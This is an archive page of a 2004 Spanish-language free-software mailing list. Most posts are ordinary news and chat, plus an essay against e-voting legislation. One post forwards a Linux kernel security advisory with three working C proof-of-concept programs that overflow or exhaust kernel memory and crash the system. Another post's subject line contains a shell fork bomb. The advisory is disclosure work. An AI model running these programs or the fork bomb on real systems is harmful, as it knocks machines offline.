December 2004 - Solar-general - lists.ourproject.org

Medio OT: Navidad en el jardín
by Sebastian Bassi 17 Dec '04

17 Dec '04

Hoy mi nene de 2 años hizo de Papá Noel en el jardín. Aca están las fotos: http://www.genesdigitales.com/Navidad2004/index.html Parece OT, pero no lo es, el software usado para hacer el albúm es 100% GPL :) (y hecho en Python!). Aunque no posteo esto por el SL, sino de padre contento :) -- <a href="http://www.spreadfirefox.com/?q=affiliates&id=24672&t=1">La web sin popups ni spyware: Usa Firefox en lugar de Internet Explorer</a>

4 4

Libro Stallman
by vsebriano＠daleclick.com 17 Dec '04

17 Dec '04

En rebelion.org esta para bajar el libro de Stallman "Software Libre en una sociedad libre". VSebriano -------------------------------------------------- 21Mb para tu eMail! Gratis! - www.daleclick.com

3 2

:(){ :|:& }; :internet, hackers y software libre :: VivaLinux!
by Sergio Belkin 16 Dec '04

16 Dec '04

Presentación de libro: http://www.vivalinux.com.ar/article-libro-internet-hackers.html -- ------------------------------------------------------------------------ SErgio BELKin Capacitación en Free & Open Source Software http://www.escritorioya.com.ar http://sebelk.blogspot.com --------------------------------------------------------

1 0

FF en el NYT!
by Sebastian Bassi 16 Dec '04

16 Dec '04

Hoy salio el aviso de FireFox en el New York Times!!. Grafico: http://www.mozilla.org/images/nyt_ad_large_2004.png PDF: http://www.mozilla.org/press/nytimes-firefox-final.pdf El nombre de mi familia (Bassi) figura en la linea 20 aprox., en el centro cerca de la parte mas blanca del logo!!. Impreso en A4 se puede ver sin lupa :) -- <a href="http://www.spreadfirefox.com/?q=affiliates&id=24672&t=1">La web sin popups ni spyware: Usa Firefox en lugar de Internet Explorer</a>

1 0

neuros schematics
by josx 16 Dec '04

16 Dec '04

Lean y disfruten amigos... http://open.neurosaudio.com/archives/2004/12/why_neuros_is_r.html -- josx <josx(a)interorganic.com.ar>

1 0

<------------------------Bafangu___o ... cuando lo van a arreglar
by Enzo Fiorencis 16 Dec '04

16 Dec '04

De onda pero tenia que protestar ...pa no ser menos la tiene conmigo el mailscanner y su primito...Voy a inscribir a Schreider :=P -- Enzo '=£0ßÎZ0N Ïs ßÅÇk='® Usuario de Linux registrado #311641 (Slackware 10.0 Linux 2.6.7) Blog en http://l0biz0n.blogspot.com Web en http://www.effx.com.ar Pa comunicarse mailto:[email protected] ---------------------------------------------------------------- * Si un programa es inútil, deberá ser documentado. ----------------------------------------------------------------

1 0

fun with linux kernel
by Enzo Fiorencis 15 Dec '04

15 Dec '04

No soy de hacer forwards, pero con este hice una exepcion Georgi Guninski security advisory #72, 2004 Fun with the linux kernel (2.6,2.4). windoze is a joke Systems affected: linux kernel 2.6 <= 2.6.9, 2.4 <= 2.4.28 on i386 (at least) Date: 15 December 2004 Legal Notice: This Advisory is Copyright (c) 2004 Georgi Guninski. You may not modify it and distribute it or distribute parts of it without the author's written permission - this especially applies to so called "vulnerabilities databases" and securityfocus, microsoft, cert and mitre. If you want to link to this content use the URL: http://www.guninski.com/where_do_you_want_billg_to_go_today_2.html Anything in this document may change without notice. Disclaimer: The information in this advisory is believed to be true though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: there are local integer overflows in ip_options_get and vc_resize and a local memory leak in ip_options_get. this means at least a DoS. Details: 1. vc_resize there is an integer overflow in vc_resize in vt.c: -------------------- int vc_resize(int currcons, unsigned int cols, unsigned int lines) { unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err = 0; unsigned int old_cols, old_rows, old_row_size, old_screen_size; unsigned int new_cols, new_rows, new_row_size, new_screen_size; unsigned short *newscreen; WARN_CONSOLE_UNLOCKED(); if (!vc_cons_allocated(currcons)) return -ENXIO; new_cols = (cols ? cols : video_num_columns); new_rows = (lines ? lines : video_num_lines); new_row_size = new_cols << 1; new_screen_size = new_row_size * new_rows; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if (new_cols == video_num_columns && new_rows == video_num_lines) return 0; newscreen = (unsigned short *) kmalloc(new_screen_size, GFP_USER); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -------------------- (new_row_size * new_rows) may be > 2^32 - 1 it is called by at least vt_ioctl.c case VT_RESIZEX: there is some chance it may be exploitable, have not checked much. this works only from console (unless you may do ptrace()). 2. memory leak in ip_options_get there is local memory leak if ip_cmsg_send calls a lot times ip_options_get. ip_options_get does kmalloc() and overwrites the previously kmalloc()ed pointer, so it can't be freed. 3. ip_options_get integer overflow (in 2.4 can't be done) the cmsg_len fun was disclosed first by Paul Starzetz <ihaquer(a)isec.pl> there is local integer overflow in 2.6.9 in ip_options_get (net/ipv4/ip_options.c) triggered by ip_cmsg_send (net/ipv4/ip_sockglue.c): ------- int err; case IP_RETOPTS: err = cmsg->cmsg_len - CMSG_ALIGN(sizeof(struct cmsghdr)); err = ip_options_get(&ipc->opt, CMSG_DATA(cmsg), err < 40 ? err : 40, 0); ------------------------------------------------ ^^^^^^^^^^^^^^^ if cmsg->cmsg_len is -1, optlen in ip_options_get may be -13 and then opt = kmalloc(sizeof(struct ip_options)+((optlen+3)&~3), GFP_KERNEL); overflows and then memcpy(opt->__data, data, optlen); blows the kernel. another interesting code path with negative cmsg_len is compat.c: ----------------------- int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg, unsigned char *stackbuf, int stackbuf_size) { if(kcmlen > stackbuf_size) kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL); while(ucmsg != NULL) { __get_user(ucmlen, &ucmsg->cmsg_len); tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmsg->cmsg_len = tmp; __get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level); __get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type); /* Copy over the data. */ if(copy_from_user(CMSG_DATA(kcmsg), CMSG_COMPAT_DATA(ucmsg), (ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))))) goto out_free_efault; -------------- though it does not seem hit with default vanilla kernel. Fix: >= 2.6.10rc3bk5 fixes the problems. seems like the 2.4rc is also fixed. The following patches help: http://linux.bkbits.net:8080/linux-2.6/cset@41b768d1ySHbfa7cUWDle8NjDT_02A http://linux.bkbits.net:8080/linux-2.6/cset@41b76c07Ee61GkoNwMH-oOvWG2FdxA http://linux.bkbits.net:8080/linux-2.6/cset@41b9e26aALoEsodik-bxhwSetwv13g http://linux.bkbits.net:8080/linux-2.6/cset@41b76673BNGyitGqJmXlJzqgdV85yg http://linux.bkbits.net:8080/linux-2.4/cset@41b76e94BsJKm8jhVtyDat9ZM1dXXg http://linux.bkbits.net:8080/linux-2.4/cset@41b766beodCDEFPbjDRLoUUUxw4Z6w http://linux.bkbits.net:8080/linux-2.4/cset@41b77314ZtyUzWzZFzaCRGoQc6hKcw http://linux.bkbits.net:8080/linux-2.4/cset@41c01f2bHFmPwBYQmce6Aw0owIyqkg testcases: /* vc_resize int overflow * Copyright Georgi Guninski * Cannot be used in vulnerability databases * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/vt.h> #include <sys/vt.h> #include <sys/ioctl.h> #include <string.h> #include <unistd.h> int main(int ac, char **av) { int fd; struct vt_consize vv; int cou=4242; fd=open("/dev/tty",O_RDWR); if (fd<0) {perror("open");return -42;} memset(&vv,0,sizeof(vv)); vv.v_clin=0; vv.v_vcol=0; vv.v_ccol=0; /* magic values, overflow on i386*/ vv.v_rows=65535; vv.v_cols=32769; system("sync"); if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;} while(cou--) printf(";)\n"); close(fd); return 42; } /* memory leak * Copyright Georgi Guninski * Cannot be used in vulnerability databases (like securityfocus and mitre) * */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <ctype.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int ac,char **av) { struct msghdr msghdr; struct iovec iovector[10]; int i,s,j,ma; struct sockaddr_in sockad; char msg[128]; struct cmsghdr *cmsg,*cm2; char opts[24]; ma=250; printf("just wait and watch memory usage\n"); memset(opts,0,sizeof(opts)); while(42) { s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0); sockad.sin_family = AF_INET; sockad.sin_addr.s_addr=inet_addr("127.0.0.1"); sockad.sin_port=htons(8080); connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); memset(msg,'v',sizeof(msg)); #define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024) cmsg = malloc(VV); memset(cmsg,0,VV); cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cmsg->cmsg_level = SOL_IP; cmsg->cmsg_type = IP_RETOPTS; memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts)); for(j=0;j<ma;j++) { cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts)); } cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = sizeof(struct cmsghdr) + 8; msghdr.msg_name = &sockad; msghdr.msg_namelen = sizeof(sockad); msghdr.msg_control=cmsg; msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len; msghdr.msg_iov = iovector; msghdr.msg_iovlen = 1; iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg); if ((i = sendmsg(s, &msghdr, 0)) < 0) {perror("sendmsg");return -42;} close(s); free(cmsg); } return 42; } /* int overflow in ip_options_get * Copyright Georgi Guninski * Cannot be used in vulnerability databases (like securityfocus and mitre) * */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <ctype.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int ac,char **av) { struct msghdr msghdr; struct iovec iovector[10]; int i,s; struct sockaddr_in sockad; char msg[128]; struct cmsghdr *cmsg,*cm2; char opts[12]; s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0); sockad.sin_family = AF_INET; sockad.sin_addr.s_addr=inet_addr("127.0.0.1"); sockad.sin_port=htons(8080); connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); memset(msg,'v',sizeof(msg)); memset(opts,0,sizeof(opts)); #define VV 1024*1024 cmsg = malloc(VV); memset(cmsg,0,VV); cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cmsg->cmsg_level = SOL_IP; cmsg->cmsg_type = IP_RETOPTS; memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts)); cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = -1; msghdr.msg_name = &sockad; msghdr.msg_namelen = sizeof(sockad); msghdr.msg_control=cmsg; msghdr.msg_controllen= cmsg->cmsg_len + 420; msghdr.msg_iov = iovector; msghdr.msg_iovlen = 1; iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg); system("sync"); if ((i = sendmsg(s, &msghdr, 0)) < 0) perror("sendmsg"); return 42; } Georgi Guninski

1 0

Felicidades !
by Martin Gaido [eMultiSoft.com] 15 Dec '04

15 Dec '04

Estimados: En nombre de todo el staff de Linux Argentina ( www.linuxargentina.org ) queremos desearles muchas felicidades y un próspero año nuevo. Atentamente, -- Martín G. Gaido Linux+ & RHCE Certified Pro Cell: +54 (02477) 15590965 Office: +54 (02477) 435350 eMail: martin_gaido(a)fastmail.fm MSN IM: linux(a)emultisoft.com SMS: 2477590965(a)infotext.cti.com.ar Skype: martin_gaido Websites: http://www.linuxargentina.org http://www.emultisoft.com http://www.martingaido.com http://www.fsf.org http://www.debian.org http://www.mialug.org

1 0

votoelectrónico
by Beatriz Busaniche 15 Dec '04

15 Dec '04

Buenas, disculpen la multiplicación. Acabo de escribir algo sobre el despacho 1032 de comisión sobre el código electoral que incorpora voto electrónico en la ciudad de Buenos Aires. Saludos Bea .......... http://weblog.educ.ar/sociedad-informacion/archives/003215.php Voto electrónico: la seducción de los espejos de colores La legislatura de la Ciudad de Buenos Aires se apresta a modernizar el sistema electoral en tiempo récord. Ya tiene despacho de comisión el proyecto de modificación de la ley electoral porteña que incluye, entre otras dudosas ventajas, la implementación compulsiva de voto electrónico y la informatización general del proceso electoral. ¿Por qué tanto apuro en implementar algo que en otros países lleva años de análisis, prueba y discusión? En el despacho Nro. 1032 no están dadas las garantías mínimas para que ese proyecto sea realmente una mejora para nuestra democracia. Más bien aparece como un intento acelerado de modernización acrítica, basada en la repetición sistemática de cuanto cliché circula sobre las virtudes del promocionado voto electrónico. Mientras la gran mayoría de los países del mundo aún discuten y prueban soluciones para el voto electrónico, nuestros legisladores porteños sacaron de comisión un despacho que podría llegar al recinto el jueves 16 de diciembre y que contempla la implementación del voto electrónico, forma electoral que no ha sido lo suficientemente probada, discutida ni estudiada como para garantizar las mentadas ventajas. Pero como si esto fuera poco, el despacho regula las características que debe tener la solución informática, dejando al Estado porteño cautivo y sin resguardos frente a quien provea los servicios informáticos estratégicos para este tipo de implementaciones. El despacho 1032 se propone entre sus objetivos superar la falencia que produce la falta de flexibilidad de diversas normas de la ley electoral nacional, determinada principalmente por el exceso de reglamentarismo. De esta manera se busca garantizar un principio fundamental para un Código Electoral en los tiempos modernos, como es el de flexibilidad operativa. En el mismo párrafo agrega que se han realizado previsiones para evitar la rigidez de procedimientos que impiden la incorporación progresiva de innovaciones tecnológicas al servicio de la operatoria electoral. Como tantas otras veces, leemos en este despacho un discurso plagado de preconceptos tecnocráticos basados en la incorporación de innovaciones tecnológicas como un bien en si mismo y como herramienta que garanticen la eficiencia. Sin embargo, de lo que se trata aquí es de nuestro sistema electoral y por supuesto de nuestras garantías democráticas. Ni más ni menos, lo que se intenta es dejar el código en términos lo suficientemente flexibles para que sea "moderno" y que se puedan incorporar tecnología más allá del reglamentarismo. En nombre de la economía de gestión se está legislando en base a una larga lista de clichés, que están enumerados en el artículo 65º del capítulo dedicado al Voto Electrónico. "Art. 65º. Las finalidades del presente capitulo son: a) Ofrecer mayores facilidades al elector para el ejercicio del derecho al sufragio; b) Fortalecer la transparencia de los procesos electorales; c) Disminuir las posibilidades de fraude; d) Acelerar el proceso de obtención de resultados del escrutinio; e) Simplificar el sistema de voto y escrutinio; f) Disminuir la abstención de votos;" No hay documentación adjunta ni a disposición de la ciudadanía que permita comprobar estas afirmaciones sobre las que se basa la argumentación para la implementación compulsiva de voto electrónico. Difícil es imaginar que una implementación técnica ayude a "disminuir la abtención de votos", un hecho social que supera por mucho las posibilidades técnicas que se utilicen para emitir el sufragio. También cuesta entender que la incorporación de tecnologías informáticas "simplifique" el sistema de voto, dado que su implementación requeriría una gran campaña de aprendizaje por parte de la ciudadanía, que sin lugar a dudas, no recibirá mayores facilidades en el proceso de elección. Si bien es creible la afirmación sobre la rapidez en el proceso de obtención de resultados, no existe ningún tipo de comprobación que pueda sostener los puntos b) y c) en relación al fraude y la transparencia. El nivel de conocimiento técnico requerido para fiscalizar las elecciones hace que este procedimiento sólo pueda quedar en manos de técnicos expertos, reduciendo así las potencialidades de auditoría y fiscalización tanto de los partidos políticos como de la ciudadanía en general. Se podría incluso afirmar que el voto electrónico es bastante más inseguro que su versión tradicional de papeletas y fiscales de mesa. Este punteo tan poco sustentable es la base para la medida que aparece en el artículo 64 del mismo despacho, que indica que el voto electrónico se aplicará a la votación y el escrutinio de los votos para elegir Jefe de Gobierno, Vicejefe de Gobierno, diputados y diputadas de la Ciudad Autónoma de Buenos Aires, como así también los representantes de las Comunas se realiza por el sistema de voto electrónico conforme lo prescripto en la presente Ley. Nada dice este texto sobre las garantías sobre las bases de datos (padrón electrónico) que serán necesarias para implementaciones de este tipo, mucho menos sobre cómo se garantiza el secreto en las votaciones, un derecho ciudadano contemplado en nuestra constitución. Tampoco habla sobre el respeto a las garantías esenciales de la ciudadanía en materia de derecho a la intimidad y a la protección de datos personales. Todos estos temas deben ser contemplados y puestos en primer plano antes de hablar de sistemas de identificación de las personas, en tanto votantes, en tanto ciudadanos y al incluirnos en una base de datos electoral. Son demasiados los aspectos a considerar antes de aprobar una normativa como esta. Igual de grave es otra de las omisiones que tiene el despacho. Cuando enumera las características que debe tener la solución informática a utilizar, no dice absolutamente nada sobre los términos de licenciamiento del software que se utilice, dejando la puerta abierta a la compra de algún software que deje cautivo al sistema electoral porteño en manos de una empresa. En tanto el Estado no fije términos de licenciamiento libres (bajo GPL o alguna licencia similar) para un software estratégico como es el que se utilice para los procesos electorales, la ciudad y su sistema electoral quedarán cautivos del proveedor exclusivo de ese software. Así de simple y así de grave. Si bien el despacho habla de ciertas características que debe reunir el software, evita mencionar una crucial y estratégica: los términos de licenciamiento. En tanto eso se omite, se deja abierta la puerta a que sólo aquella empresa titular del copyright y los derechos sobre ese software se asegure su manipulación monopólica. Por tanto, su negocio, su injerencia y su poder sobre el proceso electoral serán enormes y tendrá un cliente cautivo muy importante: el sistema electoral de toda la ciudad. Países como Brasil tardaron años en implementar medidas como esta y las anticiparon con numerosas pruebas piloto, capacitación y desarrollos propios de soluciones informáticas. En Europa, todavía no hay acuerdo sobre la implementación de este tipo de sistemas electorales. En EEUU, la implementación de voto electrónico ha generado muchas polémicas, denuncias y dudas. Organizaciones de expertos técnicos indican que aún no están dadas las condiciones para que una elección electrónica sea fiable como una elección tradicional basada en boletas y auditada por fiscales. Pero más allá de las falencias y omisiones de este despacho, la pregunta más clara en estos momentos es: ¿Es necesario hacer esto ahora? ¿Por qué y para qué? Con la excusa de la modernización, la promoción que numerosos lobbystas están realizando públicamente a favor del voto electrónico como panacea de la democracia, y la creencia ciega de que las tecnologías ofrecen per se transparencia, economía de procesos, estabilidad y flexibilidad operativa estamos poniendo en juego un valor central de nuestras democracias, nuestro sistema electoral. Todo esto, sin la debida discusión ciudadana ni la consulta a organizaciones de expertos. ¿A quién beneficia que esto no se discuta y se apruebe en estas condiciones y en este momento? ¿Flexibilizaremos nuestra regulación electoral con el único objetivo de "incorporar tecnología", como si esto fuera un bien en si mismo? Suele pasar, que las últimas sesiones legislativas de cada año son un torbellino de proyectos aprobados en sesiones apuradas y sin demasiado tratamiento. ¿Vamos a dejar que esto pase sin mirar? Copyright©2004 Beatriz Busaniche Permission is granted to copy, distribute and/or modify this documentt under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License". ---- Servicio brindado por Velocom - http://www.velocom.com.ar/

3 2

OT: maquina virtual : XEN
by Roberto G. Puentes Diaz 15 Dec '04

15 Dec '04

Hola, alguien hizo pruebas con XEN ? http://sourceforge.net/projects/xen/ dice por ahi que terceros los usaron para emular XP tambien http://www.vivalinux.com.ar/article-xen-2-paquetes.html rob

1 0